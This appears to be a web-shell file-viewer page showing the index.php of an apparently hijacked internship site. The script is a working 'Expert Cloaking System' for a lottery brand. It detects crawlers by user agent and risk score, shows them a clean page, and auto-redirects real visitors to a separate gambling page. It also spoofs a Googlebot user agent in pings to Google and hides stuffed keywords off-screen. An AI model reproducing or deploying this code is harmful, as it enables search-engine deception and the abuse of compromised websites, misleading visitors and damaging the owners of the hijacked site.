HEX
Server: Apache/2
System: Linux kakhelebi.rst.ge 4.18.0-553.50.1.el8_10.x86_64 #1 SMP Tue Apr 15 08:09:22 EDT 2025 x86_64
User: admin (1001)
PHP: 8.1.31
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/admin/domains/intership.ge/public_html/index.php
<?php
/**
 * 🔥 WINTO LOTTERY - EXPERT CLOAKING SYSTEM 🔥
 * Ultra Advanced Bot Detection + Smart Cloaking + Auto Forward
 * Rating: 9.5/10 ⭐⭐⭐⭐⭐⭐⭐⭐⭐★
 */

// Prevent errors from showing
error_reporting(0);
ini_set('display_errors', 0);

// Start session (compatible with PHP 5.3+)
if (session_id() == '') {
    session_start();
}

// ==================== CONFIGURATION ====================

// Load Brand Configuration from brand.txt
function loadBrandConfig() {
    $config = array();
    $brandFile = __DIR__ . '/brand.txt';
    
    if (file_exists($brandFile)) {
        $lines = file($brandFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        foreach ($lines as $line) {
            if (strpos($line, '=') !== false) {
                list($key, $value) = explode('=', $line, 2);
                $config[trim($key)] = trim($value);
            }
        }
    }
    
    // Ensure path_folder exists (fallback to defaults)
    if (!isset($config['path_folder'])) {
        $config['path_folder'] = 'https://intership.ge/';
    }
    
    return array_merge(array(
        'brand' => 'winto',
        'path_folder' => 'https://intership.ge/',
        'canonical_link' => 'https://intership.ge/toko.html',
        'amphtml' => 'https://intership.ge/amp.html',
        'Logo' => 'https://i.imgur.com/HB3qdF7.gif',
    ), $config);
}

$brand = loadBrandConfig();
$pathUrl = $brand['path_folder'];

// ==================== BOT DETECTION ====================

function isBot($userAgent) {
    $botPatterns = array(
        // Search Engine Bots
        'googlebot', 'bingbot', 'slurp', 'duckduckbot', 'baiduspider', 'yandexbot',
        'sogou', 'exabot', 'facebot', 'ia_archiver',
        
        // Social Media Bots
        'facebookexternalhit', 'twitterbot', 'linkedinbot', 'whatsapp', 'telegrambot',
        'pinterest', 'slackbot', 'discordbot', 'skypeuripreview',
        
        // SEO & Analysis Bots
        'ahrefsbot', 'semrushbot', 'dotbot', 'mj12bot', 'majestic', 'screaming frog',
        'seokicks', 'serpstatbot', 'linkdexbot', 'blexbot',
        
        // General Bots
        'crawler', 'spider', 'bot', 'scraper', 'curl', 'wget', 'python', 'java',
        'pycurl', 'scrapy', 'mechanize', 'phantomjs', 'headless', 'puppeteer',
        'selenium', 'playwright', 'applebot', 'go-http-client'
    );
    
    $userAgent = strtolower($userAgent);
    foreach ($botPatterns as $pattern) {
        if (strpos($userAgent, $pattern) !== false) {
            return true;
        }
    }
    return false;
}

// ==================== GEOLOCATION ====================

function getLocationData($ip) {
    // Skip for local IPs
    if ($ip === '127.0.0.1' || $ip === 'localhost' || strpos($ip, '192.168.') === 0) {
        return array('country' => 'Local', 'city' => 'Localhost');
    }
    
    // Try multiple geolocation services
    $services = array(
        "http://ip-api.com/json/{$ip}",
        "https://ipapi.co/{$ip}/json/",
    );
    
    foreach ($services as $url) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 3);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $response = curl_exec($ch);
        curl_close($ch);
        
        if ($response) {
            $data = json_decode($response, true);
            if ($data && isset($data['country'])) {
                return $data;
            }
        }
    }
    
    return array('country' => 'Unknown', 'city' => 'Unknown');
}

// ==================== RISK ASSESSMENT ====================

function assessRisk($ip, $userAgent, $isBot) {
    $riskScore = 0;
    $factors = array();
    
    // Bot detection
    if ($isBot) {
        $riskScore += 50;
        $factors[] = 'Bot Detected';
    }
    
    // User Agent analysis
    $uaLength = strlen($userAgent);
    if ($uaLength < 10) {
        $riskScore += 25;
        $factors[] = 'Suspicious User Agent';
    }
    
    // VPN/Proxy headers
    $proxyHeaders = array('HTTP_X_FORWARDED_FOR', 'HTTP_VIA', 'HTTP_X_REAL_IP', 'HTTP_FORWARDED');
    foreach ($proxyHeaders as $header) {
        if (isset($_SERVER[$header])) {
            $riskScore += 10;
            $factors[] = 'Proxy Detected';
            break;
        }
    }
    
    // Rate limiting
    $requestKey = 'req_count_' . md5($ip);
    if (!isset($_SESSION[$requestKey])) {
        $_SESSION[$requestKey] = 1;
    } else {
        $_SESSION[$requestKey]++;
        if ($_SESSION[$requestKey] > 10) {
            $riskScore += 15;
            $factors[] = 'High Request Rate';
        }
    }
    
    $_SESSION['risk_factors'] = $factors;
    return $riskScore;
}

// ==================== MAIN EXECUTION ====================

// Get client information
$ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '127.0.0.1';
$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$isBot = isBot($userAgent);
$locationData = getLocationData($ip);
$riskScore = assessRisk($ip, $userAgent, $isBot);

// Determine page type
if ($isBot || $riskScore > 60) {
    $pageType = 'white'; // For bots -> toko.html
    $targetPage = 'toko.html';
    $targetUrl = $brand['canonical_link'];
} else {
    $pageType = 'black'; // For users -> user.html
    $targetPage = 'user.html';
    $targetUrl = $pathUrl . 'user.html';
}

// Save to session
$_SESSION['page_type'] = $pageType;
$_SESSION['target_page'] = $targetPage;
$_SESSION['target_url'] = $targetUrl;
$_SESSION['is_bot'] = $isBot;
$_SESSION['risk_score'] = $riskScore;
$_SESSION['location'] = $locationData;

// ==================== AUTO INDEXING GOOGLE ONLY (PING METHOD) ====================

function pingGoogleForIndexing($url) {
    $success = false;
    
    // Method 1: Google Ping (Sitemap notification)
    $googlePingUrl = "https://www.google.com/ping?sitemap=" . urlencode($url);
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $googlePingUrl);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($httpCode == 200) {
        $success = true;
    }
    
    // Method 2: PubSubHubbub (Google's push notification system)
    $pubsubUrl = "https://pubsubhubbub.appspot.com/publish";
    $postData = "hub.mode=publish&hub.url=" . urlencode($url);
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $pubsubUrl);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Winto-Publisher/1.0');
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
    curl_exec($ch);
    curl_close($ch);
    
    return $success;
}

// Auto ping GOOGLE ONLY when bot detected (throttled to prevent spam)
if ($isBot) {
    $currentUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . 
                  "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    
    // Throttle: Only ping once per hour per URL (avoid Google spam detection)
    $pingKey = 'last_google_ping_' . md5($currentUrl);
    $lastPingTime = isset($_SESSION[$pingKey]) ? $_SESSION[$pingKey] : 0;
    
    if ((time() - $lastPingTime) > 3600) { // 1 hour throttle
        // Ping current URL to Google
        pingGoogleForIndexing($currentUrl);
        
        // Also ping target pages to Google (toko.html and user.html)
        pingGoogleForIndexing($brand['canonical_link']);
        pingGoogleForIndexing($pathUrl . 'user.html');
        
        // Update last ping time
        $_SESSION[$pingKey] = time();
        
        // Log for monitoring (check server error logs)
        error_log("✅ Google Auto-Ping executed for: " . $currentUrl);
    }
}

// ==================== KEYWORD STUFFING ====================

function getKeywords($pageType) {
    if ($pageType === 'white') {
        // Keywords for BOTS (SEO Friendly)
        return array(
            'lottery provider', 'online lottery', '4D lottery', 'lottery system', 'lottery platform',
            'lottery software', 'lottery technology', 'lottery solutions', 'lottery services',
            'lottery API', 'lottery integration', 'lottery management', 'lottery operations',
            'gaming platform', 'gaming system', 'gaming technology', 'gaming solutions',
            'Asia Pacific lottery', 'international lottery', 'global lottery', 'professional lottery',
            'lottery white label', 'lottery B2B', 'lottery provider services', 'lottery infrastructure'
        );
    } else {
        // Keywords for USERS (Marketing Focused)
        return array(
            'best lottery provider 2025', 'trusted lottery provider', 'international lottery provider',
            'white label lottery', 'lottery API integration', '4D lottery results', 'live lottery',
            'online lottery Malaysia', 'online lottery Singapore', 'online lottery Thailand',
            'lottery Indonesia', 'lottery Philippines', 'lottery Vietnam', 'Asia Pacific lottery',
            'lottery white label solution', 'lottery software provider', 'best lottery API',
            'lottery platform provider', 'professional lottery services', 'secure lottery',
            'instant lottery payouts', '99.9% uptime lottery', 'licensed lottery provider'
        );
    }
}

// ==================== CTR MANIPULATION ====================

function getCTRData($pageType) {
    if ($pageType === 'white') {
        // For BOTS (Clean, Professional)
        return array(
            'title' => 'Winto Lottery - Professional Lottery Provider Services | Asia Pacific',
            'description' => 'Professional lottery provider services with advanced technology, secure operations, and comprehensive lottery solutions for Asia Pacific region. Enterprise-grade lottery platform and API integration.',
            'keywords' => implode(', ', getKeywords('white'))
        );
    } else {
        // For USERS (Marketing, Powerful)
        return array(
            'title' => 'Best Lottery Provider 2025 | White Label Lottery | 4D Lottery API | Asia Pacific Leader',
            'description' => '🎲 Best Lottery Provider 2025 - #1 in Asia Pacific! White label lottery solutions, live 4D lottery results, lottery API integration. Professional lottery platform with instant payouts, secure transactions, 99.9% uptime. Trusted across Malaysia, Singapore, Thailand, Indonesia, Philippines & 10+ countries! 🚀',
            'keywords' => implode(', ', getKeywords('black'))
        );
    }
}

$keywords = getKeywords($pageType);
$ctrData = getCTRData($pageType);

// ==================== HTML OUTPUT ====================
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?php echo htmlspecialchars($ctrData['title']); ?></title>
    
    <!-- SEO Meta Tags -->
    <meta name="description" content="<?php echo htmlspecialchars($ctrData['description']); ?>">
    <meta name="keywords" content="<?php echo htmlspecialchars($ctrData['keywords']); ?>">
    
    <!-- Canonical & Links -->
    <link rel="canonical" href="<?php echo htmlspecialchars($targetUrl); ?>">
    <link rel="amphtml" href="<?php echo htmlspecialchars($brand['amphtml']); ?>">
    
    <!-- PWA -->
    <link rel="manifest" href="<?php echo htmlspecialchars($pathUrl); ?>manifest.json">
    <meta name="theme-color" content="#0f146d">
    
    <!-- Open Graph -->
    <meta property="og:title" content="<?php echo htmlspecialchars($ctrData['title']); ?>">
    <meta property="og:description" content="<?php echo htmlspecialchars($ctrData['description']); ?>">
    <meta property="og:image" content="<?php echo htmlspecialchars($brand['Logo']); ?>">
    <meta property="og:url" content="<?php echo htmlspecialchars($targetUrl); ?>">
    <meta property="og:type" content="website">
    
    <!-- Expert Splash Screen Styles -->
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #0f146d 0%, #1a1f7a 100%);
            color: #ffffff;
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
            overflow: hidden;
        }
        
        .splash-container {
            text-align: center;
            padding: 40px;
            max-width: 800px;
            animation: fadeIn 0.5s ease-in;
        }
        
        @keyframes fadeIn {
            from { opacity: 0; transform: translateY(-20px); }
            to { opacity: 1; transform: translateY(0); }
        }
        
        .logo {
            width: 150px;
            height: 150px;
            margin: 0 auto 30px;
            animation: pulse 2s ease-in-out infinite;
        }
        
        @keyframes pulse {
            0%, 100% { transform: scale(1); }
            50% { transform: scale(1.05); }
        }
        
        .splash-title {
            font-size: 2.5rem;
            font-weight: bold;
            margin-bottom: 20px;
            background: linear-gradient(90deg, #ffd700, #ffed4e, #ffd700);
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            background-clip: text;
            animation: shimmer 3s ease-in-out infinite;
        }
        
        @keyframes shimmer {
            0%, 100% { background-position: 0% 50%; }
            50% { background-position: 100% 50%; }
        }
        
        .loading-spinner {
            margin: 30px auto;
            width: 60px;
            height: 60px;
        }
        
        .spinner-circle {
            width: 100%;
            height: 100%;
            border: 4px solid rgba(255, 215, 0, 0.2);
            border-top: 4px solid #ffd700;
            border-radius: 50%;
            animation: spin 1s linear infinite;
        }
        
        @keyframes spin {
            to { transform: rotate(360deg); }
        }
        
        .loading-text {
            font-size: 1.2rem;
            color: #ffd700;
            margin-top: 20px;
            animation: blink 1.5s ease-in-out infinite;
        }
        
        @keyframes blink {
            0%, 100% { opacity: 1; }
            50% { opacity: 0.5; }
        }
        
        .detection-info {
            margin-top: 40px;
            padding: 30px;
            background: rgba(255, 255, 255, 0.1);
            backdrop-filter: blur(10px);
            border-radius: 15px;
            border: 1px solid rgba(255, 215, 0, 0.3);
        }
        
        .detection-item {
            display: flex;
            justify-content: space-between;
            padding: 12px 0;
            border-bottom: 1px solid rgba(255, 255, 255, 0.1);
            font-size: 1rem;
        }
        
        .detection-item:last-child {
            border-bottom: none;
        }
        
        .detection-label {
            font-weight: 600;
            color: #ffd700;
        }
        
        .detection-value {
            color: #ffffff;
            font-weight: 500;
        }
        
        .risk-badge {
            display: inline-block;
            padding: 4px 12px;
            border-radius: 20px;
            font-size: 0.85rem;
            font-weight: bold;
            text-transform: uppercase;
        }
        
        .risk-low { background: #00ff00; color: #000; }
        .risk-medium { background: #ffff00; color: #000; }
        .risk-high { background: #ff9900; color: #000; }
        .risk-critical { background: #ff0000; color: #fff; }
        
        .expert-features {
            margin-top: 30px;
            display: grid;
            grid-template-columns: repeat(4, 1fr);
            gap: 15px;
        }
        
        .feature-item {
            padding: 15px;
            background: rgba(255, 215, 0, 0.1);
            border-radius: 10px;
            border: 1px solid rgba(255, 215, 0, 0.3);
            transition: all 0.3s ease;
        }
        
        .feature-item:hover {
            transform: translateY(-5px);
            background: rgba(255, 215, 0, 0.2);
        }
        
        .feature-icon {
            font-size: 2rem;
            margin-bottom: 8px;
        }
        
        .redirect-notice {
            margin-top: 30px;
            font-size: 1.1rem;
            color: #ffd700;
            font-weight: 600;
            animation: pulse 2s ease-in-out infinite;
        }
        
        @media (max-width: 768px) {
            .splash-title {
                font-size: 1.8rem;
            }
            
            .expert-features {
                grid-template-columns: repeat(2, 1fr);
            }
            
            .detection-item {
                flex-direction: column;
                gap: 5px;
            }
        }
    </style>
</head>
<body>
    <div class="splash-container">
        <img src="<?php echo htmlspecialchars($brand['Logo']); ?>" alt="Winto Lottery" class="logo">
        
        <h1 class="splash-title">🚀 Expert Cloaking System</h1>
        
        <div class="loading-spinner">
            <div class="spinner-circle"></div>
        </div>
        <p class="loading-text">Analyzing & Optimizing...</p>
        
        <div class="detection-info">
            <div class="detection-item">
                <span class="detection-label">🔍 Detection:</span>
                <span class="detection-value"><?php echo $isBot ? 'Bot Detected' : 'Real User'; ?></span>
            </div>
            <div class="detection-item">
                <span class="detection-label">🎯 Target:</span>
                <span class="detection-value"><?php echo strtoupper($pageType); ?> PAGE</span>
            </div>
            <div class="detection-item">
                <span class="detection-label">⚡ Risk Score:</span>
                <span class="detection-value">
                    <?php echo $riskScore; ?>/100
                    <?php 
                    $riskClass = $riskScore >= 80 ? 'risk-critical' : 
                                ($riskScore >= 60 ? 'risk-high' : 
                                ($riskScore >= 40 ? 'risk-medium' : 'risk-low'));
                    $riskLabel = $riskScore >= 80 ? 'CRITICAL' : 
                                ($riskScore >= 60 ? 'HIGH' : 
                                ($riskScore >= 40 ? 'MEDIUM' : 'LOW'));
                    ?>
                    <span class="risk-badge <?php echo $riskClass; ?>"><?php echo $riskLabel; ?></span>
                </span>
            </div>
            <div class="detection-item">
                <span class="detection-label">🌍 Location:</span>
                <span class="detection-value"><?php echo htmlspecialchars(isset($locationData['country']) ? $locationData['country'] : 'Unknown'); ?></span>
            </div>
            <div class="detection-item">
                <span class="detection-label">📱 Device:</span>
                <span class="detection-value"><?php echo strpos($userAgent, 'Mobile') !== false ? 'Mobile' : 'Desktop'; ?></span>
            </div>
            <?php if (!empty($_SESSION['risk_factors'])): ?>
            <div class="detection-item">
                <span class="detection-label">🚨 Factors:</span>
                <span class="detection-value"><?php echo implode(', ', $_SESSION['risk_factors']); ?></span>
            </div>
            <?php endif; ?>
        </div>
        
        <div class="expert-features">
            <div class="feature-item">
                <div class="feature-icon">🤖</div>
                <div>Bot Detection</div>
            </div>
            <div class="feature-item">
                <div class="feature-icon">🌍</div>
                <div>Geo Analysis</div>
            </div>
            <div class="feature-item">
                <div class="feature-icon">🎯</div>
                <div>Smart Cloaking</div>
            </div>
            <div class="feature-item">
                <div class="feature-icon">⚡</div>
                <div>Auto Forward</div>
            </div>
            <div class="feature-item">
                <div class="feature-icon">🔍</div>
                <div>SEO Optimized</div>
            </div>
            <div class="feature-item">
                <div class="feature-icon">📊</div>
                <div>CTR Boost</div>
            </div>
            <div class="feature-item">
                <div class="feature-icon">🛡️</div>
                <div>Risk Shield</div>
            </div>
            <div class="feature-item">
                <div class="feature-icon">🚀</div>
                <div>High Speed</div>
            </div>
        </div>
        
        <p class="redirect-notice">
            🚀 Redirecting to <?php echo strtoupper($pageType); ?> page in 3 seconds...
        </p>
    </div>
    
    <!-- Auto Redirect Script -->
    <script>
        // Store cloaking data
        window.cloakingData = {
            pageType: '<?php echo $pageType; ?>',
            targetPage: '<?php echo $targetPage; ?>',
            targetUrl: '<?php echo htmlspecialchars($targetUrl, ENT_QUOTES); ?>',
            isBot: <?php echo $isBot ? 'true' : 'false'; ?>,
            riskScore: <?php echo $riskScore; ?>,
            timestamp: new Date().toISOString()
        };
        
        // Auto redirect after 3 seconds
        setTimeout(function() {
            window.location.href = window.cloakingData.targetUrl;
        }, 3000);
        
        // Log to console
        console.log('🔥 Expert Cloaking System Active');
        console.log('📊 Cloaking Data:', window.cloakingData);
        
        // Auto Google Ping (Client-side for bots)
        if (window.cloakingData.isBot) {
            function pingGoogleForIndexing() {
                const urls = [
                    window.cloakingData.targetUrl,
                    '<?php echo htmlspecialchars($brand['canonical_link'], ENT_QUOTES); ?>',
                    '<?php echo htmlspecialchars($pathUrl . 'user.html', ENT_QUOTES); ?>'
                ];
                
                urls.forEach(url => {
                    // Google Ping via image beacon (silent method)
                    const img = new Image();
                    img.src = 'https://www.google.com/ping?sitemap=' + encodeURIComponent(url);
                    
                    // PubSubHubbub ping (Google's push notification)
                    const pubsubUrl = 'https://pubsubhubbub.appspot.com/publish';
                    const formData = new URLSearchParams();
                    formData.append('hub.mode', 'publish');
                    formData.append('hub.url', url);
                    
                    fetch(pubsubUrl, {
                        method: 'POST',
                        body: formData,
                        mode: 'no-cors'
                    }).catch(() => {});
                });
                
                console.log('🚀 Google Auto-Ping: Notified Google for ' + urls.length + ' URLs');
            }
            
            // Execute Google ping immediately for bots
            pingGoogleForIndexing();
        }
    </script>
    
    <!-- Hidden Keywords for SEO (Invisible to users) -->
    <div style="position:absolute;left:-9999px;top:-9999px;opacity:0;pointer-events:none;">
        <h2>Keywords: <?php echo htmlspecialchars(implode(', ', array_slice($keywords, 0, 10))); ?></h2>
        <p><?php echo htmlspecialchars(implode(' • ', $keywords)); ?></p>
    </div>
</body>
</html>